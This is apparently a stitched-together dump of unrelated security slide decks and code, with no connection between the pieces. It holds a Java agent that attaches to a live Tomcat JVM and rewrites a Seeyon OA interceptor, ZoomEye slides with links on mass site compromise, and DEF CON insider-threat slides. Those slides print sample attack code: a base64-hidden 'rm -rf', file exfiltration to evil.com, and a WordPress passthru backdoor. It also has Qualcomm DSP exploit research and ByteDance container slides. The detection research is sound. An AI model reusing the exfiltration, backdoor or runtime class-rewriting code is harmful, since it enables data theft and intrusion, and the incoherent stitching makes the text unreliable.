xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <parent>        <artifactId>javaagent</artifactId>        <groupId>org.example</groupId> mvn clean package -DskipTests agent注入代码        <version>1.0-SNAPSHOT</version>    </parent>    <modelVersion>4.0.0</modelVersion>    <artifactId>agentMain</artifactId>    <build>        <plugins>            <plugin>                <artifactId>maven-assembly-plugin</artifactId>                <configuration>                    <archive>                        <!--自动添加META-INF/MANIFEST.MF -->                        <manifest>                            <addClasspath>true</addClasspath>                        </manifest>                        <manifestEntries>                            <Agent-Class>AgentMain</Agent-Class>                            <Can-Redefine-Classes>true</Can-Redefine-Classes>                            <Can-Retransform-Classes>true</Can-Retransform- Classes>                        </manifestEntries>                    </archive>                    <descriptorRefs>                        <descriptorRef>jar-with-dependencies</descriptorRef>                    </descriptorRefs>                </configuration>            </plugin>        </plugins>    </build>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>    </properties>    <dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.27.0-GA</version>        </dependency>    </dependencies> </project> import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.io.*; import java.lang.instrument.ClassDefinition; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.nio.charset.StandardCharsets; import java.security.ProtectionDomain; public class AgentMain {    public static void agentmain(String agentArgs, Instrumentation instrumentation) {        Class[] cLasses = instrumentation.getAllLoadedClasses(); //当前jvm加载的所 有类        try {            for (Class classs:cLasses){                /*find zhe target class*/                String targetClassName="com.seeyon.dee.configurator.interceptor.SerialInterceptor";                if(classs.getName().contains(targetClassName)){                    String code="return invocation.invoke();";                    ClassPool cPool = ClassPool.getDefault();                    ClassClassPath classClassPath = new ClassClassPath(classs);                    cPool.insertClassPath(classClassPath);                    CtClass ctClass = cPool.get(targetClassName);                    CtMethod doIntercept = ctClass.getDeclaredMethod("doIntercept", new CtClass[] {cPool.get("com.opensymphony.xwork2.ActionInvocation")});                    doIntercept.insertBefore(code);                    ctClass.detach();                    byte[] bytes = ctClass.toBytecode();                    File file = new File("C:\\httpServelt.class");                    FileOutputStream fileOutputStream = new FileOutputStream(file);                    BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);                    bufferedOutputStream.write(bytes);                    bufferedOutputStream.close();                    fileOutputStream.close();                    instrumentation.redefineClasses(new ClassDefinition[]{new ClassDefinition(classs, bytes)});               }           }       } catch (Exception e) {            e.printStackTrace();       }        instrumentation.addTransformer(new DefineTransformer(), true);   }    static class DefineTransformer implements ClassFileTransformer {        @Override        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {            System.out.println("premain load Class:" + className);            return classfileBuffer;       }   } } 实现逻辑非常粗暴,找到 org.apache.catalina.startup.Bootstrap 这个 JVM 加载的全部类中 的 com.seeyon.dee.configurator.interceptor.SerialInterceptor 类,然后通过 javaassit 动态修改类字节码然后重新载入类。 主程序编写 package com.agent.patch; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class test {    public static void main(String[] args) {        System.out.println("running JVM start ");        List<VirtualMachineDescriptor> list = VirtualMachine.list();        for (VirtualMachineDescriptor vmd : list) {            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid            //然后加载 agent.jar 发送给该虚拟机            if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) {                System.out.println(vmd.displayName());                System.out.println(vmd.id());                VirtualMachine virtualMachine = null;                try {                    System.setProperty("jdk.attach.allowAttachSelf", "true");                    virtualMachine = VirtualMachine.attach(vmd.id());                    String path = System.getProperty("user.dir");                    virtualMachine.loadAgent(path+"\\agentMain-1.0- SNAPSHOT.jar");                    virtualMachine.detach();               } catch (AgentLoadException e) {                    e.printStackTrace();               } catch (AgentInitializationException e) {                    e.printStackTrace();               } catch (IOException e) {                    e.printStackTrace();               } catch (AttachNotSupportedException e) {                    e.printStackTrace();               }           }       }   } }
pdf
ZoomEye(钟馗之眼) 网络空间搜索引擎 项目简介及技术架构 张弘引(小雨) 2013- 08 我和我的小伙伴们 春哥 • Java 达人 张波 • Django • WebUI pnig0s 小P • 小 • Powerful pw • 小 • 纯洁 小雨 • 猥琐 大叔 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye是什么? • 它是一个搜索引擎 • 搜索对象是网络空间中的“WEB服务组件” 和“网络设备” • 基于我们长期积累的安全研究能力 • 为白帽子黑客和极客服务的 • 兼顾宏观和微观 ZoomEye长什么样? What is ZoomEye • 搜索引擎 • 针对WEB应用 • 宏观 • 安全 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye的对象 • Web服务组件 – 基于域名 • 可识别的网络设备 – 基于IP地址 – 尚未开放 WEB服务组件 可识别网络设备 • 交换机 • 路由器 • 摄像头 • 手机 • 平板电脑 • 工控设备 • 核工业设备 • …… 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye的使用方法 • 搜应用/版本 • 搜国家/城市 • 搜网站标题 • 搜网站域名,如 site:*.baidu.com • 特殊词语,如 hacked by • 搜行业关键字“银行”,“大学”,“人 民政府” • 搜网络设备,如 GoAhead-Webs ZoomEye的使用方法(2) ZoomEye的使用方法(3) ZoomEye的使用方法(4) ZoomEye的使用方法(5) ZoomEye的使用方法(6) ZoomEye的使用方法(7) • http://www.myhack58.com/Article/htm l/3/8/2013/39616.htm 关于ZoomEye的 一个入侵小例子 • http://www.freebuf.com/articles/web/1 0918.html 如何用ZoomEye(钟馗之眼) 批量获得站点权限 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye的优势 • 更专业 • 更全面 • 更高效 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye的技术细节 • ZoomEye的整体架构 • ZoomEye的调度逻辑 • ZoomEye的Wmap应用指纹识别 • 一些技术上的Tips分享 ZoomEye的整体架构 架构图 ZoomEye的调度逻辑 调度逻辑 • 取最久未调度过的站点列表 • 通过接口向Job Server下发探测任务 • Worker从Job Server领取任务执行 • 轮询接口取结果 • 写入完成的任务 • 纪录失败的任务 • 对失败的任务进行有限的重试 Wmap应用指纹识别 如何识别码农来着? 如何识别Web应用? 以nginx和php为例 HTTP/1.1 200 OK Server: nginx/1.4.2 Date: Sun, 18 Aug 2013 10:33:12 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.5.2 如何识别多种应用? • 不同层次的应用有不同的策略 • 符合标准格式的未知指纹直接收录 • 收集多种应用的指纹,逐个匹配 如何识别得更快? 1. 先判断域名的合法性,及是否存活 2. 特定文件的md5值,比如favicon.ico 3. 用压缩的传输,提高传输速度 4. 尽量减少请求次数和请求的大小 5. 减少进行规则比较的次数 6. 结果缓存一个月 误报和漏报 Tips • 针对新增的应用指纹特征进行单一规则的 增补识别调度。 • 周期进行站点的存活判断 • Fuzz常见的子域名子目录来发现更多应用 Elasticsearch tips 1. Java环境最好是用Oracle官方的jdk7 2. 把最大最小内存设置成同样大小。 3. bootstrap.mlockall: true 4. index.cache.field.type: soft 5. index.cache.field.max_size: 50000 6. index.cache.field.expire: 10m Elasticsearch tips(2) 1. 建立合适的mapping 2. 配置两个节点,一主一从 3. 用同步脚本在空闲时间同步数据 目录 • ZoomEye是什么 • ZoomEye的诞生原因 • ZoomEye的对象 • ZoomEye的使用方法 • ZoomEye的优势 • ZoomEye的技术细节 • ZoomEye的未来展望 ZoomEye的未来展望 • 社区化 • 开放的API接口 • 网络设备的搜索 • 更多的服务类型和组件 • 章鱼(Octopus)模糊应用识别引擎 社区化 用户 提交 组件 组件 库 回馈 用户 组件库 提交组件 章鱼项目原理 • 应用指纹和页面结构特征收集 • 在大数据分析的基础上,归纳出哪些特征 可能对应着应用组件 • 通过人肉的方法识别出该未知的组件的其 它信息 • 根据特征指纹去查表,得出它具体某种应 用的可能性。 Q&A Thanks!
pdf
Repelling  the Wily  Insider Ma#as  Madou,  PhD  /  Jacob  West DEF  CON  18  /  Las  Vegas,  NV  /  7.30-­‐8.1,  2010 7/4/10 2 Ma#as  Madou   Security  Researcher @  For#fy  SoKware   Focus  on  new  techniques  to find  vulnerabili#es (sta#c  and  dynamic)   New  ways  to  protect  WebApps   Contributor  to  BSIMM  Europe   History  in  Code  Obfusca#on (&  Binary  Rewri#ng) 7/4/10 3 Jacob  West   Director  of  Security  Research,  For#fy  SoKware   Secure  Programming  with  Sta#c  Analysis   Speaker  at  RSA,  Black  Hat, Def  Con,  OWASP,  SANS,  Web  2.0   Contributor  to  MOPS, a  C/C++  sta#c  analysis tool  (UC  Berkeley) 7/4/10 4 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 5 2009  Computer  Crime  Survey   43%  of  the  companies  had  losses  due  to malicious  insiders  (66%  due  to  non-­‐malicious) 7/4/10 6 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 7 Which  Insiders?   Developers   Less  destruc#ve,  more  subtle. Reason:  Trace  code  back to  the  developer   …not  about  IT  people 7/4/10 8 Mo#ves 7/4/10 9 What  if  You  Get  Caught?   Medco:  Failed  Logic  Bomb:  30  months  (up  to  10y)   UBS:  Successful  Logic  Bomb:  8  years 7/4/10 10 What  We're  Looking  For:  Bad  Code 7/4/10 11 2004  Obfuscated  Vo#ng  Contest   2004  coding  contest  hosted  at  Stanford   41  par#cipants  submit  electronic  vo#ng  code   Objec#ves:   Count  correctly  in  test  mode   Skew  toward  one  candidate  during  the  real  elec#on   Human  code  reviewer  should  not  no#ce  the  bias   Skew  should  be  subtle  enough  to  avoid  aken#on 7/4/10 12 Contest  Results   Techniques  used  by  top  10  entries 1 4 2 3 Buffer  Overflow Unini#alized Memory Convoluted  or obscured  logic Dangerous language  features (macros) 7/4/10 13 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 14 Classifying  Well-­‐Known  Examples   Medco   Linux   Borland’s  InterBase   Wordpress if ( date > “April 23, 2005” ) delete all files on all 70 servers if ( username == “politically” and password == “correct”) // Grant Access! if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); } 7/4/10 15 1.  Obfusca#on  and  Camouflage   Where  to  hide  from?  Developers  think  of  human inspectors  of  the  code.  What  people  can  see.   Make  code  looks  similar  to  real  code  (be  subtle)   Linux  case,  make  root:   X11  case,  forgoken  parenthesis if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) if (getuid() == 0 || geteuid != 0) { if (!strcmp(argv[i], "-modulepath")) { 7/4/10 16 1.  Obfusca#on  and  Camouflage   Decode  a  sta#c  string  and  execute //encoded form of: "rm -rf some_critical_dir/*” String enc_cmd = "cm0gLXJmIHNvbWVfY3JpdGljYWxfZGlyLyo="; decoded=(new BASE64Encoder()).decodeBuffer(encoded_command); Runtime.getRuntime().exec(decoded); 7/4/10 17 1.  Obfusca#on  and  Camouflage   Case:  Usage  of  simple  subs#tu#on  cyphers  (Like Rot13,  Four  square,  Bifid  and  Trifid  Cypher,  …) 7/4/10 18 2.  Logic  or  Time  Bomb   A  logic  bomb  is  a  piece  of  malicious  code  that  is dormant  un#l  a  triggering  mechanism  enables  it.   One  common  method  for  enabling  a  logic  bomb  is comparing  the  current  date  and  #me  against  a trigger  date  and  #me.   Numerous  public  disclosers 7/4/10 19 2.  Logic  or  Time  Bomb   Destruc#ve  IT  People  break  the  news:   Logic  Bomb  Wipes  out  800  PCs  in  Norfolk  VA   Medco  sys  admin  gets  30  months  for  plan#ng  logic bomb  (Inside  saboteur  could  have  crippled pharmacists'  ability  to  check  for  deadly  drug interac#ons,  U.S.  akorney  says)   'Logic  Bomb'  Hacker  Gets  8  Years  for  Failed  Stock Rigging   But  yes  developers  seems  to  be  destruc#ve  too:   Fired  Contractor  Kisses  Off  Fannie  Mae  With  Logic Bomb 7/4/10 20 2.  Logic  or  Time  Bomb   What  we  found  (Financial  Ins#tu#on):   This  was  found  in  code.  The  trigger  code  was upda#ng  database  entries long initTime = System.currentTimeMillis(); if(initTime > 0x1291713454eL) //Trigger 7/4/10 21 3.  Dynamic  Code  Injec#on/Manipula#on   Categories:   Abuse  reflec#on  (Rewri#ng  read-­‐only  variables)   Resource  Rewri#ng  (Rewri#ng  class  and  jar  files)   Run#me  Compila#on  (Compiling  code  at  run#me)   Class  Loader  Abuse  (Turn  bytes  in  executable  code)   … 7/4/10 22 3.  Dynamic  Code  Injec#on/Manipula#on   Example:  (Abuse  Reflec#on)   Cases:  Not  seen  in  the  wild Credit  to  Jeff  Williams,  Enterprise  Java  Rootkits,  BH  2009 public static final String fixed_place_to_read_important_info="..."; ... Field field=String.class.getDeclaredField("value"); field.setAccessible(true); field.set("fixed_place_to_read_important_info", "the_new_value".toCharArray); ... 7/4/10 23 4.  Backdoors  and  Secret  Creden#als   Most  common  Insider  Threat: (Threat  against  company  and  users)   Execute  commands  (OS,  queries,  …)   Adding  creden#als   Adding  a  master  password 7/4/10 24 4.  Backdoors  and  Secret  Creden#als   Borland’s  InterBase   Wordpress  backdoor if ( username == “politically” and password == “correct”) //Grant Access! if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); } 7/4/10 25 4.  Backdoors  and  Secret  Creden#als   Op#x  Pro:   Random-­‐looking  38-­‐character  "master  password” (kjui3498tk34289890fwe334gfew4ger$"sdf)   Encrypted  in  binary,  decrypted  in  RAM   Included  for  security  reasons   Subseven   Backdoor  with  secret  password   Way  to  control  what  they’ve  created 7/4/10 26 5.  Nefarious  Communica#on   Opening  socket  and  making  connec#ons  can  be used  to  transfer  sensi#ve  informa#on.   Cases:  Financial  Ins#tu#on.  Opened  a  connec#on and  transferred  (sensi#ve?)  informa#on 7/4/10 27 5.  Nefarious  Communica#on   Transfer  secret  files  on  a  regular  basis ServerSocket srvr = new ServerSocket(666); Socket skt = srvr.accept(); File pf = new File("someConfidentialFile.txt"); if (pf.exists()) { PrintWriter out = new PrintWriter(skt.getOutputStream(), true); FileInputStream fi = new FileInputStream(pf); BufferedReader r = new BufferedReader(new InputStreamReader(fi)); String data; while ((data = r.readLine()) != null) { out.print(data + "\n"); } out.close(); } 7/4/10 28 5.  Nefarious  Communica#on   Similar:  Transfer  secret  file  by  pos#ng  the  file URL url = new URL("http://evil.com:666/SomeDoFile.do"); HttpURLConnection connection = null; connection = (HttpURLConnection)url.openConnection(); connection.setRequestMethod("POST"); //The file to send File pf = new java.io.File("someConfidentialFile.txt"); FileInputStream fi = new FileInputStream(pf); fi.read(the_bytes); OutputStream out = connection.getOutputStream(); out.write(the_bytes); out.close(); int responseCode = connection.getResponseCode(); //Send 7/4/10 29 5.  Nefarious  Communica#on   Blackberry  Case:  e-­‐mail  spying:   Adver#sed  as  a  performance  update,  but contained:   This  looked  like  valid  insider  threat  code. (Turns  out  that  it  was  on  purpose) smtp.sendMail("etisalat_upgr@etisalat.ae”, subj, body); 7/4/10 30 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 31 Peer  Review   Yes,  you  will  find  this  suspicious:   AKer  one  week  you  might  spot:   But  when  will  you  find  this  one: YzI5dHpxPT1zZGNzYWRjYXNkY2FzZGNhcztsZGNtYTtzbGRt YztsYW1zZGNsO21hc2RsbnNrRENBTEtTSkRDS0pMQVNEQ0 if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); } 7/4/10 32 Sta#c  Analysis:  Irregular  Usage   By  default:  Will  find  Insider  Threats  that  exploit Command  Injec#on,  SQL  Injec#on,  …   Example:  Wordpress  Vulnerability: if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); } function get_theme_mcommand($mcds) { passthru($mcds); … 7/4/10 33 Inside  a  Sta#c  Analysis  Tool 7/4/10 34 How  can  sta#c  analysis  help  here? Problem  with  manual  code  review:   Where  to  start?   What  to  look  for?  (Is  the  security  person  an expert  in  all  insider  threat  categories  at  once?) Solu#on:  Sta#c  Analysis  can  show  points  of  interest   Requires  a  different  mindset  to  look  at  results   Must  write  new  rules! 7/4/10 35 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on. 7/4/10 36 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on.   First:  Grabbing  the  en#re  database  is  suspicious   Sta#c  query: con.execute("SELECT * FROM database");   Rule: Text  matches  "(?i)select\s+\*\s+from\s+\w+" 7/4/10 37 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on. 7/4/10 38 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on.   Second:  Sending  it  over  the  wire  is  suspicious   Sta#c  query: ServerSocket srvr = new java.net.ServerSocket(666);   Rule:  Port  in  java.net.ServerSocket  hardcoded 7/4/10 39 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on. 7/4/10 40 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on.   Third:  Mechanism  to  grab  and  compare  #me   Sta#c  query: initTime = System.currentTimeMillis();   Rule:  Flag  all  calls  to java.lang.System.currentTimeMillis() 7/4/10 41 Scenario:  Rules  Wri#ng   A  laid-­‐off  employee  installs  code  that  reads  the en#re  database  on  a  regular  basis  and  sends  the results  over  a  socket  connec#on.   Third:  Mechanism  to  grab  and  compare  #me   Sta#c  query: if(initTime > 0x1291713454eL)   Rule:  All  compares  of  #me  with  hardcoded  value 7/4/10 42 Result  Presenta#on   Different  mindset  required   For  example:   Sta#c  Analysis: Found:  Hard  coded  date  comparisons Issue:  Possible  Logic  Bomb!   Context  is  very  important  now.   Legit:  Updates/Timings/…   Malicious:  Logic/Time  Bomb  planted  by  insider long initTime = System.currentTimeMillis(); if(initTime > 0x1291713454eL) //Code 7/4/10 43 Result  Presenta#on   Order  results  based  on  known  scenario’s, Example:  date  comparison   Low:  get  the  current  #me   Medium:  compare  the  current  #me   Hot:  Compare  the  current  #me  to  a  hard  coded  date 7/4/10 44 Result  Presenta#on:  Legit  Usages   For  (preky  much)  every  rule,  we  can  think  of  a legit  use  of  such  code  in  your  applica#on.   Date  comparisons  (with  a  hard  coded  date)   Legit:  Updates   Hard  coded  e-­‐mail  addresses   Legit:  Contact  administrator   Copy  the  en#re  Database   Legit:  Migra#on,  Backup,  … 7/4/10 45 Run#me  Analysis:  In  QA   Func#onal  Tes#ng  can  help:   Apply  extensive  func#onal  test.  Each  cri#cal  place (like  execu#ng  a  query  against  a  DB)  that  isn’t executed  is  suspicious.   …  (TODO:  Add) 7/4/10 46 Run#me  Analysis:  In  Produc#on   Spot  abnormal  behavior  at  run#me   Massive  amount  of  data  sent  from  an  usual  place   …  (TODO:  add) 7/4/10 47 Finding  the  Wily  Insider Manual Static Runtime Class Loader Abuse X Reflection Abuse X Convoluted logic X X Runtime Compilation X Credential Insertion X X E-Mail Spying X X Hidden Functionality X Leaked Secret X X Logic Bomb X X Network Communication X X Overwritten Method X X Password Bypass X X X Process Flow Disruption X X Redundant Condition X Resource Rewriting X Static SQL Query X X Static Secret X X Suspicious String X X 7/4/10 48 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 49 Results:  The  Reality   Java  rulepack,  17  Insider  Threat  Categories   Used  by  several  Financial  Ins#tu#ons   Mul#ple  confirmed  issues 7/4/10 50 Overview   Intro   Insider  Threat  Background   Classes  of  Insider  Threats   Techniques  for  Defenders   Face-­‐Off   Conclusion 7/4/10 51 Conclusion   The  Insider  Threats  problem  is  hard  to  solve  as the  insiders’  capabili#es  are  unlimited   A  sta#c  analysis  tool  can  show  points  of  interest in  the  code. Matias Madou, PhD
 mmadou@fortify.com Jacob West
 jacob@fortify.com Questions?
pdf
Pwn2Own Qualcomm cDSP Slava Makkaveev What processors are on your mobile phone? modem DSP (mDSP/baseband) audio DSP (aDSP) compute DSP (cDSP) sensor DSP (sDSP) Kryo CPU (Android) Adreno GPU Wireless modem Hexagon DSP Spectra ISP Snapdragon SoC DSP assignment ● Low-power processing of audio and voice data ● Computer vision tasks ● Machine learning-related calculations ● Camera streaming ● Artificial intelligence ● ... Snapdragon 855 (SM8150): - Google Pixel 4 - Samsung S10 - Xiaomi Mi9 Snapdragon 835 (MSM8998): - Samsung S8 - OnePlus 5 - Sony Xperia XZ Premium aDSP is responsible for everything Tasks are distributed between aDSP and cDSP Communication between the CPU and DSP FastRPC mechanism (AP side) Android application libXXX_stub.so → libadsprpc.so → libcdsprpc.so /dev/adsprpc-smd /dev/cdsprpc-smd ioctl FastRPC mechanism (DSP side) fastrpc_shell_0 fastrpc_shell_3 libXXX_skel.so libXXX.so Who can run their own code on DSP? ● DSP is licensed for programming by OEMs ○ The code running on the DSP is signed by Qualcomm ● Android app has no permissions to execute its own code on the DSP ○ Only prebuilt DSP libraries could be freely invoked ● Hexagon SDK is publically available ● Stub and skel code will be generated automatically Can I compile my own DSP library? Yes Can I execute this library on DSP? No Who manages the DSP? ● ELF 32-bit executable, Qualcomm DSP6 User PD Unsigned PD Guest OS PD Kernel PD QuRT OS /vendor/firmware/adsp /vendor/firmware/cdsp /dsp/* /vendor/dsp/* /vendor/lib/rfsa/adsp/* ● Fastrpc shell ELFs ● Dozens of skeleton and object libraries Skipping stub code from the FastRPC flow int remote_handle_open( const char* name, remote_handle *ph ) int remote_handle_invoke( remote_handle h, uint32_t scalars, remote_arg *pra ) We cannot sign a skeleton library, but we can execute a signed one Android application can bring any signed skeleton library and run it on the DSP Downgrade vulnerability CVE-2020-11209 There is no version check of loading skeleton libraries There are no lists of skeleton libraries permitted for the device It is possible to run a very old skel library with a known 1-day vulnerability even if a patched library exists on the device It is possible to run a library intended for one device on any other device Feedback-based fuzzing of Hexagon libraries Fuzzing scheme AFL skel_loader QEMU Hexagon (user mode) libXXX_skel.so QuRT (runelf.pbn) libXXX.so Dependencies Fastrpc shell Input file format method index #8 size of input args 2 input args size of output args value of input args 2 output args Fuzzing results > 400 proven unique crashes in dozens of skeleton libraries ○ libfastcvadsp_skel.so ○ libdepthmap_skel.so ○ libscveT2T_skel.so ○ libscveBlobDescriptor_skel.so ○ libVC1DecDsp_skel.so ○ libcamera_nn_skel.so ○ libscveCleverCapture_skel.so ○ libscveTextReco_skel.so ○ libhexagon_nn_skel.so ○ libadsp_fd_skel.so ○ libqvr_adsp_driver_skel.so ○ libscveFaceRecognition_skel.so ○ libthread_blur_skel.so ○ ... Do you remember? The skeleton code is auto generated by the Hexagon SDK. So, we are dealing with SDK issues! Automatically Generated Code Qualcomm Interface Definition Language (IDL) ● Define interfaces across memory protection and processor boundaries ● Exposes only what that object does, but not where it resides or the programming language in which it is implemented Hexagon SDK 3.5.1, hexagon_nn 2.10.1 library, hexagon_nn.idl Example: Marshaling an in-out buffer hexagon_nn_stub.c split in-out buffer into one in and one out buffer save buffer lengths as data ... ... Example: Unmarshaling an in-out buffer hexagon_nn_skel.c signed comparison of the buffer lengths heap overflow ... ... In addition, CVE-2020-11201, CVE-2020-11202, CVE-2020-11206, CVE-2020-11207 were assigned to issues in DSP object libraries Hexagon SDK vulnerability CVE-2020-11208 ● Hexagon SDK hiddenly injects vulnerabilities in the DSP libraries provided by Qualcomm, OEM and third-party vendors Qualcomm closed ~400 reported issues with one CVE-2020-11208 patch. Did you use Hexagon SDK? Recompile your code! ● Dozens of DSP libraries embedded in Samsung, Pixel, LG, Xiaomi, OnePlus, HTC, Sony and other devices are vulnerable due to issues in Hexagon SDK Exploiting a DSP vulnerability Let’s execute unsigned code on DSP libfastcvadsp_skel.so library, version 1.7.1 from Sony Xperia XZ Premium (G8142) device Arbitrary read-write in User PD method #3F who many half-words to read (the size) what to read (the source): the offset from the start of the first output argument in the DSP heap where to read (the destination) Impact on device security ● Persistent DoS. Trigger a DSP kernel panic and reboot the mobile device The next step is to gain privileges of the Guest OS PD! Android application gains DSP User PD possibilities: ● Hide malicious code. Antiviruses do not scan the Hexagon instruction set ● The DSP is responsible for preprocessing streaming video from camera sensors. An attacker can take over this flow ... QuRT drivers QuRT Driver Invocation (QDI) model QuRT contains dozens of QDI drivers: User PD Guest OS PD QDI drivers libXXX_skel.so QuRT QDI driver syscall fastrpc_shell_X → libqurt.a /dev/* /qdi/* /power/* /drv/* /adsp/* /qos/* ... QDI API QDI handle method number 0 to 9 optional 32-bit arguments driver name QDI feedback-based fuzzing AFL qdi_exec QEMU Hexagon (user mode) QuRT (runelf.pbn) malloc + memcpy patch QuRT segments (real device) QDI vulnerabilities A dozen Snapdragon 855 QDI drivers are vulnerable for PE and DoS attacks Any failure in QDI drivers can be used to cause the DSP kernel panic We exploited ○ several arbitrary kernel read and write vulnerabilities in /dev/i2c QDI driver ○ two code execution vulnerabilities in /dev/glink QDI driver Demo. Code execution in Guest OS PD Instead of a conclusion Qualcomm aDSP and cDSP subsystems are very promising areas for security research ● The DSP is accessible for invocations from third-party Android applications ● The DSP processes personal information such as video and voice data that passes through the device’s sensors ● As we have proven, there are many security issues in the DSP components Thank you! slavam@checkpoint.com @_cpresearch_ research.checkpoint.com
pdf
字节容器技术实践 01 未来5年容器云在 公有云市场上渗透率将超过50 % 未来5年私有云 容器云平台市场C AGR将达到3 3 % 全球容器安全市场的 复合年增长率 (C AGR) 预计为3 0 .9% 到2 0 2 4年,全球市场规模约为1 50 亿元人民币 国内市场发展规模约占50 亿元 原生&容器业务技术趋势 数据来源于:IDC 与M a rketsa n d M a rkets 部容器规模和现状 面向现代化应用构建平台化能力 • 结合现代化应用特点,为用户提供新一代云原生架构下 的研发工具栈与方法论,保证业务敏捷迭代、弹性稳定 运行 • 结合经过实践验证的“端”技术和“边”形态,构建 “云-边-端”一体化的应用管理能力 云原生 (Cloud Native) 多端应用 (MARS) 混合云的早期成功实践者 • IaaS 使用多家公有云和自有 IDC 的混合架构, PaaS 层构建了面向应用的“多云”平台,满足 应用的多云多活、敏捷自动化部署等关键诉求 多云多活 私有云 公有云 字节系产品全栈运行于云原生架构 • 国内使用容器最早,容器规模最大的厂商之一, 最早将服务网格应用到生产的厂商 移动应用敏捷开发 • 字节跳动业务种类繁多,在内部催生出的 veMars 产 品是字节在移动端业务的杀手锏 • 覆盖全场景、多平台、多角色,贯穿应用设计、应用 搭建、二次开发、环境部署的通用低代码开发中台。 在线微服务 10w+ 工作负载 20w+ Pod 1000w + 日变更数 2w+ 峰值请求 2亿+ 月活 6亿+ 应用数 100+ 业务视角的核心诉求 一站式 PaaS 平台为用户提供了服务托管能力,实现了服务部署和运维流程的自动化,加速了业务研发和迭代的效率; 但在实际使用过程中,业务仍然存在一些核心诉求 容器问题诊断 自动化故障恢复 资源按需供应 资源使用成本 • 服务运行过程中不可避免出现异 常 • 问题可能源自系统、硬件、网络、 服务自身、上下游依赖等各个方 面 • 业务很难自主完成端到端异常检 测 • 多维度的监控体系协助问题排查 • 智能报警系统自动化通知服务异常 • 异常请求可能导致服务过载 • 单机抖动可能影响服务性能 • 集群甚至机房故障,可能造成 全量服务不可用 • 自研流量调度体系,实现异常 检测和自动化处理 • 多集群联邦实现跨集群跨机房 容灾能力 • 业务流量存在时间亲和性,需 要自动化按需提供资源 • 面对节日、直播、促销等场景, 需要快速供应大量资源 • 在保证服务性能的前提下,单 位资源成本尽可能低廉 • 服务自动化弹性伸缩实现资 源按需供应,保证服务稳定 性 • 一键式资源拆借实现临时大 规模资源需求 • 通过多维度隔离手段,实现 在离线混合部署,提升资源 利用效率,降低单位资源成 本 自动化诊断平台 核心亮点 1 多集群联邦和智能流量调度 核心亮点 2 容器实例弹性供应 核心亮点 3 混合部署提升资源效率 核心亮点 4 的核心诉求 上千人涌入同一篇启动文档,了解项目上下文和 团队详细分工。 超 大 规 模 流 量 融合线路、边缘计算与全链路 动态流量调度 时间、任务、团队都在一张表格上, 每日同步、实时更新,保证所有团队 步调一致 复 杂 服 务 治 理 Serv iceM esh 与离在线资源统 一调度系统 极 致 研 发 效 能 压力测试、一站式观测平台与 公共组件建设 全国 703 亿次的红包互动 498.46 万的直播同时在线用户 云拜年视频总播放量506 亿次 